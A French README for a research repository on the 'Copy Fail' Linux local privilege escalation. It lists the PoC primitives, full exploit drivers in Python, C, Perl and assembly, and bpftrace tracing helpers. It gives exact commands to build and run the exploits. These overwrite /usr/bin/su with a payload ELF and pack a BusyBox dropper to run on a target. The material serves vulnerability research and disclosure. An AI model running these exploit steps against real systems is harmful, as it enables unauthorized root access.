
Artefacts de recherche, scripts PoC et ressources de laboratoire pour l'article sur l'élévation de privilèges locaux Linux Copy Fail sur https://4xura.com/binex/kernel/copy-fail
Artéfacts et scripts pour l'analyse CopyFail.
La procédure pas à pas détaillée :
proof-of-concept/ contient les démos primitives uniquement utilisées dans l'analyse.exploit-scripts/ contient les implémentations complètes de l'exploit en Python, C, Perl et assembleur x86_64.bpftrace-scripts/ contient les petits assistants de traçage utilisés lors de l'analyse en temps réel.Seuls les artéfacts Perl, assembleur et BusyBox nécessitent un ELF de remplacement externe. Dans les exemples ci-dessous, ce fichier est nommé payload.pwnkit.elf, mais tout nom de fichier convient.
Cette charge utile n'est pas générée dans ce dépôt. Construisez-la d'abord en suivant le workflow de charge utile décrit dans l'analyse, puis placez l'ELF résultant dans le même répertoire de travail que l'artéfact que vous souhaitez exécuter.
Les PoCs primitives et les pilotes d'exploit Python/C sont directement exécutables tels quels.
Ces PoCs sont principalement destinés à la démonstration dans l'analyse. Ils montrent la primitive d'écrasement de manière isolée, pas le flux complet de remplacement-exécution.
Pour exécuter la démo Python, entrez dans le répertoire PoC et exécutez le script :
cd proof-of-concept
python3 copyfail_poc.py
Pour exécuter la démo C, construisez-la d'abord, puis exécutez le binaire résultant :
cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc
L'exploit Python est autonome et conserve les octets de remplacement dans le script lui-même.
Placez-vous dans le répertoire de l'exploit et exécutez le chemin cible par défaut :
cd exploit-scripts
python3 exploit.py
Si vous souhaitez un nom de base cible différent, passez-le comme premier argument. Pour activer les journaux d'écrasement par morceau, définissez DEBUG=1 :
python3 exploit.py su
DEBUG=1 python3 exploit.py su
L'exploit C est également autonome. Si vous voulez mettre en place un remplacement différent, modifiez d'abord PAYLOAD_BYTES dans exploit-scripts/exploit.c.
Construisez le binaire statique (optionnel) comme ceci :
cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
Exécutez ensuite la cible par défaut, ou passez un nom de base différent. La journalisation de débogage est contrôlée via DEBUG=1 :
./exploit
./exploit su
DEBUG=1 ./exploit su
Cette version lit une charge utile ELF externe au lieu d'intégrer des octets de remplacement dans le script.
Exécutez-le depuis le répertoire de l'exploit. Sans arguments supplémentaires, il utilise la cible par défaut et le chemin de charge utile par défaut :
cd exploit-scripts
perl exploit.pl
Si vous souhaitez choisir explicitement à la fois le chemin de la victime et l'ELF de la charge utile, passez-les comme arguments. La journalisation de débogage est également contrôlée via DEBUG=1 :
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
Cette version consomme également une charge utile ELF externe. Dans l'exemple ci-dessous, elle est nommée payload.pwnkit.elf, mais vous pouvez utiliser n'importe quel nom de fichier. Si vous le renommez, mettez à jour la ligne incbin dans exploit-scripts/exploit.asm en conséquence.
Construisez le pilote en assembleur avec nasm et ld :
cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o
Exécutez ensuite la cible par défaut, ou passez un chemin cible complet :
./exploit_asm
./exploit_asm /usr/bin/su
Cela empaquette le pilote en assembleur et une charge utile ELF externe en un seul exécuteur compatible BusyBox. L'exemple ci-dessous utilise payload.pwnkit.elf, mais tout nom de fichier de charge utile convient tant que vous passez le même chemin au packer.
Générez le dropper depuis le répertoire de l'exploit :
cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh
Sur le système cible, exécutez le script généré avec BusyBox sh :
busybox sh ./copyfail-busybox.sh /usr/bin/su
Avant d'exécuter les assistants de traçage, vérifiez que les symboles pertinents sont disponibles :
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
Pour observer les pages de fichier entrant dans le chemin splice, exécutez :
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
Pour observer les données soutenues par un tube atteignant AF_ALG, exécutez :
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
Pour observer le rappel de déchiffrement vulnérable authencesn, exécutez :
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt